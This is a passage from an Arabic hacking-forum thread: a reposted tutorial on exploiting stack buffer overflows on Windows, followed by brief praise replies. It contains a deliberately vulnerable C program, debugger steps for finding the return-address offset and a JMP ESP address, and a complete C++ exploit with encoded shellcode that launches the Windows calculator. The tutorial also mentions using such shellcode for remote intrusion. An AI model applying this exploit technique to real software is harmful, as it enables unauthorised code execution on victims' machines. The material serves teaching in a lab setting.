التواصل المباشر مع الادارة والاعضاء القدامى من خلال قناة التلغرام



العودة   :: vBspiders Professional Network :: > [ ::. قـسم الأختراق المتقدم .:: Advanced Hacking Section .:: ] > Buffer OverFlow

إضافة رد
 
LinkBack أدوات الموضوع انواع عرض الموضوع
قديم 07-24-2009, 02:13 AM   رقم المشاركة : 1 (permalink)
معلومات العضو
 
الصورة الرمزية LAV4
 

 

 
إحصائية العضو







LAV4 غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 10
LAV4 is on a distinguished road

افتراضي شرح ثغرات فيض المكدس - Stack OverFlow Exploitation درس بالعربي + فيديو تطبيقي


بسم الله الرحمن الرحيم

السلام عليكم ورحمة الله وبركاته

اللهم صلِّ على محمد وآل محمد

ذا اول درس اكتبه عن ثغرات الفيض Stack buffer OverFlow
وساشرح فيه ان شاء الله كيفية اكتشافها واستغلالها بنوع من التفصيل ان شاء الله
يلا بدون التكثير في الكلام نبدا ببسم الله
اولا نبدا بالاكتشاف

اكتشافها اسهل بكثير من استغلالها بحيث نقوم بارسال كمية كبيرة من البيانات عبر احد المداخل "inputs" اي كل ما يسمح لنا بادخال بيانات الى البرنامج فاذا ضهر لنا خطا فان البرنامج مصاب بثغرت فيض واذا لم يضهر فانه غير مصاب

ملاحضة : في بعض الاحيان يكون البرنامج مصاب ولكن يكون فيه كود للحماية ككود نقل التنفيذ الى كود اخر يضهر رسالة خطا دون التسبب في اغلاق البرنامج
وهذا سيجعل البعض يضن ان البرنامج غير مصاب وهذا غير صحيح
وفي هذه الحالة يمكننا اكتشاف الثغرة فقط بتتبع البرنامج باحد برامج التنقيح
تانيا الاستغلال

ربما سيكون هذا الجزء هو الاصعب ولكن ليس بعد ان تعرف اساسيات حدوث الفيض، لذا لاسهل علي الشرح واسهل عليك الفهم سابدا اولا بتعريف وتوضيح كل ما هو اساسي لاستغلال ثغرات الفيض :

1 المسجلات "Registers"

المسجلات هي مكان في بروسيسر الجهاز الذي يقوم بعمليات الحاسب الالي

2 مسجل الستاك "stack register"

هو مسجل يستعمل ليسهل على وحدة المعالجة المركزية التعامل مع داكرة النضام التي يكون البرنامج محملا عليها

3 المسجلات EIP - ESP


ESP
يشير دائما الى التعليمة التي تاتي بعد الكود المنفذ في الstack

لهذا يكتب الشل كود بعد عنوان العودة لتسهيل معرفة مكانه في الذاكرة


EIP
هو مسجل يخزن فيه عنوان التعليمة التي تاتي مبشرة بعد اي تعليمة تدهب بالتنفيد الى كود داخل الكود الرئيسي

ولفهم هذا الامر فلنرجع الى تعريف برنامج

البرنامج "Logiciel" هو مجموعة من البرانم "Programmes" كل برنام له عمل خاص

وهذه صورة موضحه



كما ترون في الحقيقة البرنامج هو الجزء الرئيسي زائد الاجزاء الفرعية التي تسمى بالبرانم وهي تقوم بعمل وحيد فقط مثلا كود اغلاق الجهاز هو برنام واذا اردنا اطفاء الجهاز عن طريق زر في برنامج نضع في كود دلك الزر امر لاستدعاء هذا البرنام ليقوم بدوره باطفاء الجهاز

مثال اخر :
في الصورة اعلاه وبالضبط الزر "اضهار رسالة",,عندما نضغط عليه فان البرنامج يقوم باستدعاء البرنام المسؤول عن اضهار رسالة ويمرر التنفيذ اليه فنصبح الان خارج البرنامج الرئيسي وذاخل برنامج فرعي يقوم باضهار الرسالة

وعند ضهور الرسالة تكون مهمة البرنامج الفرعي قد انتهت وبذلك يمرر التنفيذ للبرنامج الرئيسي مرة اخرى

لنوضح اكثر بهذه الصورة




لا شك ان صورة كيفية وقوع الفيض بدات تتضح لديك

ان استطعنا ان نغير عنوان العودة فاننا قد ندهب بالتنفيذ الى اي مكان نريده

مثلا ان ندهب بالتنفيذ الى عنوان الشل كود

دعني اوضح لك اكثر
عندما يحجز المبرمج متغير ما فان حالة الstack تكون كالتالي
كود:

buffer | 41414141
| 41414141
return addr | 004012A1

يعني اذا لم يقم المبرمج بالتاكد من طول البيانات المدخلة و طول المتغير

فان ادخال بيانات طويلة سيمكننا من الكتابة فوق عنوان العودة ليصبح الستاك كالتالي
كود:


buffer | 41414141
| 41414141
return addr | 41414141


A = 41 اذا حولناه الى قيم الهكس


فكل ما ندخله الى البرنامج


يحول الى قيم هيكس يعني لا يحفض كما هو فلو اذخلنا الى برنامج ABCD


41 42 43 44


بحيث


A = 41
B = 42
C = 43
D = 44

ويكتبها بالمقلوب

DCBA
قد تلاحظ اننا دخلنا مباشرة في الاستغلال ولكن لا تقلق سنبصط اكثر واكثر حتى يصبح الدرس اسهل وفي متناول الجميع
لنستمر في شرح الاساسيات
4 الشل كود "shellcode"
الشل كود عبارة عن برنامج/برنام مكتوب بطريقة احترافية تخوله للعمل في اي نضام دون الحاجة الى اي برنامج اخر (مترجم) وهذه الخاصية هي الاهم وهي التي تجعلنا نضع الشل كود في الثغرات لانه كما تعلم عندما تخترق عن بعد لا يمكنك ارفاق مترجم مع البرنامج بل تحتاج برنامج جاهز ما ان يصل الى الذاكرة يصبح قابل للتنفيذ .
الان وبعد ان فهمنا الاساسيات دعونا نقوم بخطوة لنتقدم بالموضوع الى الامام
وهي تلخيص فكرة كتابة استغلال ثغرة فيض المكدس :
ليحدث فيض يجب ان يكون لدينا متغير ذو حجم معين مثلا 260 بايت يجب علينا ادخال كمية كبيرة من المعلومات اي مثلا لو ادخلنا 270 فالبرنامج قادر فقط على تخزين 260 حرف و 10 احرف المتبقية فلا مكان لها بل سيكتبها فوق كل ما هو موجود بعد المساحة المحددة من طرف البرنامج وكما تعلمون عنوان العودة يكون ايضا بعد هذه المساحة اذن هكذا سيتم الكتابة فوقه وهكذا سنتحكم في البرنامج وذلك بتغيير عنوان العودة الى اي عنوان نريده
الان عرفنا كيف نتحكم في سير البرنامج اي فهمنا كيف نغير عنوان العودة
ماذا بعد ؟

تحدثت لنا على الشلكود وقلت انه يكتب ايضا في الذاكرة وللوصول الى هدفنا (وهو تنفيد الشلكود في جهاز الضحية) كيف سنعرف مكان هذا الشل كود ؟ او كيف نعرف عنوانه لكي نقوم بكتابته فوق عنوان العودة ؟

الجواب هو :

عند ادخال الشل كود الى البرنامج يكون على الشكل التالي


AAAAAAAA+عنوان العودة+shellcode


ويصبح بعد كتابته في الذاكرة


buffer (A's) | 41414141
41414141 |
عنوان العودة| عنوان العودة الجديد
الشل كود | الشل كود يوجد مباشرة بعد عنوان العودة

وهنا ياتي دور المسجل ESP راجع تعريفه "ضروري"

اكيد عرفتها قلنا انه هذا المسجل يسجل عنوان التعليمة التي بعد التعليمة المنفذة

وفي حالتنا هذه التعليمة المنفذة هي retn

اي العودة الى عنوان العودة وبما ان الشل كود موجود مباشرة بعدها هذا يعني ان العنوان المخزن بالمسجل ESP هو عنوان الشل كود

لذا لكي ننفذ الشل كود او لننقل التنفيذ اليه يجب علينا البحث عن قفزة للمسجل ESP

صورة تبسيطية :




ضنك الان فهمت كيف ينفذ الشل كود (ان لم تفهم اعد القراءة "تساعد على الفهم اكثر") .

قذ تلاحظ ان هذا الجزء كله نضري ولن ادعك تقول هذا في رد بل سننتقل الان الى الجزء التطبيقي من الدرس

سنقوم بكتابة استغلال لبرنامج مصاب بثغرة فيض طبعا نحن من سيقوم بكتابته وبلغة سي ثم نقوم بعمل اكسبلويت له ان شاء الله

يلا نبدا ببسم الله

هذا هو سورس كود برنامجنا التطبيقي

كود PHP:
     #include <stdio.h>
#include <string.h>
void overflow_function (char *str)
{
char buffer[256];
strcpy(bufferstr); 
}
int main(int argcchar **argv)
{
overflow_function(argv[1]);
return 
0;


يجب عليك ترجمته بمترجم مايكروسوفت لضمان ان تكون النتائج مطابقة بين الشرح وتطبيقك

"Visual C++ 6.0"

كما ترى اكواد بسيطة جدا ولكن لاباس بشرحها



كما ترى الدالة التي يحدث فيها الخطا هي دالة strcpy

حيث يتم نقل محتوى المتغير str الى المتغير buffer

وعليه اذا كان حجم المتغير str اكبر من 256 فانه سيتم الكتابة فوق عنوان العودة

هيا بنا فلنبدا بمعرفة هل البرنامج مصاب ام لا

بعد ترجمته شغله انطلاقا من الدوس ومرر اليه سلسلة من الحروف كبيرة

ولتكن 300A

اي الحرف A 300 مرة



كما تلاحظ ضهو الخطا معناه ان البرنامج مصاب

الان انتهت مرحلة الكشف عن الخطا وجاء دور كتابة الاستغلال ( هو سهل فقط شوية تركيز

اول خطوة يجب القيام بها هو تحديد كم عدد من البيتات تلزمنا قبل ان نصل الى عنوان العودة يعني من بداية البفر الى اخر بايت قبل عنوان العودة

ولعمل هذا نقوم بادخال سلسلة من الاحرف مختلفة الى البرنامج ويفضل ان تكون هاش

استعن بهذا الموقع وشفر مجموعة كلمات مختلفة ثم اجمع الهاشات فما بينها حتى تحصل على 300 بايت
كود:

     
     
http://www.spijoprod.net/outils/md5.php


كود PHP:
     3691308f2a4c2f6983f2880d32e29c8403c7c0ace395d80182db07ae2c30f0345d41402abc4b2a76b9719d911017c592ce57579e09df9aa67e82a9552789b1f14d4098d64e163d2726959455d046fd7cded9fd7fac6bfe771195dc39cd7644c72035a61774315c394238af637e64a30e2035a61774315c394238af637e64a30e6ba667f2e5fb6e2e9a9edd14f49a3d5312e24270d85b 
تح البرنامج المصاب بالمنقح اولي ollydbg ومرر اليه سلسلة الاحرف وذلك باختيار argument من قائمة debug

ثم انتر ثم اضغط على ctrl+f2 ثم اختر يس ليعاد تحميل البرنامج

بعد دلك اضغط على F9 ليتم تشغيل البرنامج

والنتيجة رسالة خطا



اضغط انتر
ثم قم بعمل كما في الصورة التالية





عد دلك عد الى السلسلة التي ادخلناها وقم بالبحث عن تلك الحروف والارقام التي قلت لك احفضها في الصورة اعلاه وستكون النتيجة كالتالي




قم بمسح 67f2 وكل ماياتي بعدها ليكون عدد البيتات الباقي هو 260

وهكذا نكون قد حددنا حجم البفر
الخطوة التانية هي البحث عن عنوان العودة المناسب وللقيام بهذا العمل يلزمنا برنامج اسمه findjmp
ووضيفته هي اجاد اي قفزة للمسجل esp وبالتالي يتم تنفيذ الشل كود

حمل من هنـا

فك الضغط عنه وضعه في القرص c: ثم شغله من الدوس وافعل كما في الصورة



بعد ان احصلنا على عنوان القفزة فلنعدل عليه كما يلي
0x7C86379E
اقلب ترتيب كل عددين ليصبح
9E 37 86 7C
الان اضف اليه x\ ليصبح
\x9E\x37\x86\x7C
الان انتهينا من اعداد عنوان العودة الجديد
والخطوة التالية هي اعداد الشل كود الذي نريده
فكما تعلمون هناك شل كودات كثيرة حسب عملها فهناك منها من يقوم بتشغيل الحاسبه وهذا هو الذي يستعمل عند مكتشفي الثغرات لكي يجربو نجاح الثغرة
وهناك شل كود لفتح منفذ او تحميل باتش وتشغيله في جهاز الضحية
هيا بنا اذن فلنقم بانشاء شل كود للتجربة فقط وهو شل كود بعد تنفيذ الثغرة يشغل لنا الالة الحاسبة المرفقة مع الوندوز
ولهذا الغرض نستعين بالله و بموقع ميتاسبلويت
وهو

كود PHP:
http://www.m e t asploit.com:55555/PAYLOADS?FILTER=win32

(الفراغات بسبب التشفير)

ازل الفواصل بين كلمة ميتا
ثم اختر تنفيد الاوامر
windows excute command
ثم


سينتج لنا شل كودين
اختر الاول كما في الصورة ( لا تنسى اي شيء والا لن يعمل الاكسبلويت )


لان اصبح كل شيء جاهزا وبقي فقط كتابة الاكسبلويت
ويمكننا فعل ذلك باية لغة برمجة مثلا c++ او c او بيرل او بيتون ...الخ
انا ساستخدم لغة c++
المهم قبل فعل هذا دعني اوضح لك فكرة عمل الاستغلال فمن فهم الفكرة سيستطيع كتابة استغلاله باي لغة اراد
اولا لكي تنفذ الثغرة ويتم تشغيل الحاسبة يجب علينا تمرير سلسلة حروف لملء البفر + عنوان القفزة + الشلكود
junkdata+return address+shellcode
اذن الاكسبلويت سيقوم بجمع كل هذه الاشياء ثم يشغل البرنامج المصاب ويمرر اليه هده السلسلة
(اي كود الاستغلال junkdata+return address+shellcode )

هذا هو كود الاستغلال

كود:
كود PHP:
     #include <windows.h>
#include <string.h>
#include <stdio.h>
int main()
{
//file name
char exploit[700]="vuln.exe "
//ret addr
char ret[] = "\xC0\x68\x83\x7C";
//junk data
char overflow[260];
for(
int i=0;i<260;i++){
overflow[i]=0x41;
}
/*
* windows/exec - 144 bytes
* http://www.****sploit.com
* Encoder: x86/shikata_ga_nai
* EXITFUNC=process, CMD=calc
*/
char shellcode[] =
"\xbf\xdb\xf9\x8c\x6d\x31\xc9\xb1\x1e\xda\xcd\xd9\x74\x24\xf4"
"\x58\x31\x78\x0f\x03\x78\x0f\x83\xe8\x27\x1b\x79\x91\x3f\x98"
"\x82\x6a\xbf\xaa\xc6\x56\x34\xd0\xcd\xde\x4b\xc6\x45\x51\x53"
"\x93\x05\x4e\x62\x48\xf0\x05\x50\x05\x02\xf4\xa9\xd9\x9c\xa4"
"\x4d\x19\xea\xb3\x8c\x50\x1e\xbd\xcc\x8e\xd5\x86\x84\x74\x12"
"\x8c\xc1\xfe\x45\x4a\x08\xea\x1c\x19\x06\xa7\x6b\x42\x0a\x36"
"\x87\xf6\x2e\xb3\x56\xe2\xc7\x9f\x7c\xf0\x14\x40\x4c\x0e\xfa"
"\x29\xca\x65\xbc\xe5\x99\x3a\x4c\x8d\xee\xa6\xe1\x1a\x66\xdf"
"\x70\xe4\xf4\x1f\xe8\x45\x93\x6f\x66\x61\x3c\xf8\xee\x94\x48"
"\xf6\x59\x96\xaa\x64\x04\x04\x56\x6b"
;
printf("Exploiting ......\n");
strcat(exploitoverflow);
strcat(exploitret);
strcat(exploitshellcode);
WinExec(exploit,0);
printf("Exploitation Finished\n");
return 
0;



ترجمه وضعه في نفس المجلد الذي وضعت فيه البرنامج المصاب ثم شغله والنتيجة هي اشتغال الالة الحاسبة

وهذا فيديو تطبيقي من صاحب الموضوع الأصلي :


كود PHP:
http://www.ouatmane.org/mr-cracker.rar 


وياليت اننا نتعمق شوي في الميتاسبلويت والشل كود
وطبعا البفر فلو هي من اساسيات الثغرات المستخدمه فيها

ولا ننسى طبعا بأمكان الشخص تحويل كل ذلك في الاختراق المستهدف


والصلات والسلام على سيدنا محمد صلى الله عليه وسلم

للامانه الموضوع منقول




avp eyvhj tdq hgl;]s - Stack OverFlow Exploitation ]vs fhguvfd + td]d, j'fdrd

التوقيع



lava my name

hacker my game

 

   

رد مع اقتباس
قديم 07-24-2009, 11:42 AM   رقم المشاركة : 2 (permalink)
معلومات العضو
 
إحصائية العضو







ابو بدر غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 11
ابو بدر is on a distinguished road

افتراضي


موضوع ممتاز
تااااااابع تقدمك يالغالي >>>>>>>>>>>>>>ولو بموضوع منقوول

   

رد مع اقتباس
قديم 07-24-2009, 11:43 AM   رقم المشاركة : 3 (permalink)
معلومات العضو
KaLa$nikoV
VBSPIDERS TEAM

#~VoLc4n0~#

 
الصورة الرمزية KaLa$nikoV
 

 

 
إحصائية العضو







KaLa$nikoV غير متواجد حالياً

إرسال رسالة عبر MSN إلى KaLa$nikoV

 

 

إحصائية الترشيح

عدد النقاط : 11
KaLa$nikoV is on a distinguished road

افتراضي


ما شاء الله رائع والله

بارك الله فيك
تسلم يمينك

التوقيع



هل سأعود يوما
ام هي نهايه الطريق !!
إلهيْ ’ / أبدل عُسَرِنا يسُراً


لا تنسونا من دعائكم







سبحان الله والحمدلله ولا اله الا الله والله اكبر
fb.com/groups/VoLc4n0/
volc4n0@hotmail.com

 

   

رد مع اقتباس
قديم 07-25-2009, 12:09 AM   رقم المشاركة : 4 (permalink)
معلومات العضو
 
الصورة الرمزية عصام-محمد
 

 

 
إحصائية العضو





عصام-محمد غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 10
عصام-محمد is on a distinguished road

افتراضي


بارك الله فيك

   

رد مع اقتباس
قديم 07-25-2009, 10:52 AM   رقم المشاركة : 5 (permalink)
معلومات العضو
 
الصورة الرمزية LAV4
 

 

 
إحصائية العضو







LAV4 غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 10
LAV4 is on a distinguished road

افتراضي


شكرا إلكم كتير على المرور نورتو الموضوع

التوقيع



lava my name

hacker my game

 

   

رد مع اقتباس
قديم 08-05-2009, 07:35 PM   رقم المشاركة : 6 (permalink)
معلومات العضو
 
الصورة الرمزية DON'T CRY
 

 

 
إحصائية العضو





DON'T CRY غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 10
DON'T CRY is on a distinguished road

افتراضي


يعطيك العافيه اخوي وبارك الله فيك

   

رد مع اقتباس
قديم 01-26-2010, 12:34 AM   رقم المشاركة : 7 (permalink)
معلومات العضو
KaLa$nikoV
VBSPIDERS TEAM

#~VoLc4n0~#

 
الصورة الرمزية KaLa$nikoV
 

 

 
إحصائية العضو







KaLa$nikoV غير متواجد حالياً

إرسال رسالة عبر MSN إلى KaLa$nikoV

 

 

إحصائية الترشيح

عدد النقاط : 11
KaLa$nikoV is on a distinguished road

افتراضي


up

التوقيع



هل سأعود يوما
ام هي نهايه الطريق !!
إلهيْ ’ / أبدل عُسَرِنا يسُراً


لا تنسونا من دعائكم







سبحان الله والحمدلله ولا اله الا الله والله اكبر
fb.com/groups/VoLc4n0/
volc4n0@hotmail.com

 

   

رد مع اقتباس
قديم 01-27-2010, 09:53 PM   رقم المشاركة : 8 (permalink)
معلومات العضو
 
إحصائية العضو






ThE BiGeSt JoKeR غير متواجد حالياً

إرسال رسالة عبر Skype إلى ThE BiGeSt JoKeR

 

 

إحصائية الترشيح

عدد النقاط : 10
ThE BiGeSt JoKeR is on a distinguished road

افتراضي


شكرا لك على الموضوع الراائع .. ^^
الى الامام

التوقيع

انتبه ...
جيوش الـ Metasploit ستزور العناكب



نحن قوم لا نحب الغرور .. لكن الزمن سمح لنا بالتباهي .. لأننا ملوك


[/COLOR]

on vbspiders only

 

   

رد مع اقتباس
قديم 01-28-2010, 07:44 PM   رقم المشاركة : 9 (permalink)
معلومات العضو
 
الصورة الرمزية Cyber Code
 

 

 
إحصائية العضو








Cyber Code غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 11
Cyber Code is on a distinguished road

افتراضي


مشكور حبيبي إلا الامام وبارك الله فيك

التوقيع

if i gain something from being a hacker
it would be a background of almost every beautiful dream

and if you asked me what did you gain from being a member here

i'll honestly answer , it's a brothers for life


سبحان الله العظيم , سبحان الله وبحمده
استغفر الله العلي العظيم وأتوب إليه

 

   

رد مع اقتباس
إضافة رد

مواقع النشر (المفضلة)


تعليمات المشاركة
لا تستطيع إضافة مواضيع جديدة
لا تستطيع الرد على المواضيع
لا تستطيع إرفاق ملفات
لا تستطيع تعديل مشاركاتك

BB code is متاحة
كود [IMG] متاحة
كود HTML معطلة
Trackbacks are متاحة
Pingbacks are متاحة
Refbacks are متاحة

الانتقال السريع

المواضيع المتشابهه
الموضوع كاتب الموضوع المنتدى مشاركات آخر مشاركة
شرح فيديو:simple remote buffer over... exploitation data$hack Penteration Testing Training 16 12-20-2009 07:08 PM
ممكن Microsoft IIS 5.0/6.0 FTP Server Remote Stack Overflow Exploit (win2k) Evil.Man جـــ'ابات العناكــ'ب 0 09-01-2009 11:52 PM
إستغلآل ثغرآت الـ Local stack overflow Poc Red-D3v1L قســم إختــراق الأجهــزة 4 08-18-2009 10:07 PM
شرح تركيب VBSEO 3.3.0 بدون مشكلة stack overflow at line xman2 قســم تطويــر المــــواقع 0 05-18-2009 08:30 PM


الساعة الآن 04:42 PM


[ vBspiders.Com Network ]

SEO by vBSEO 3.6.0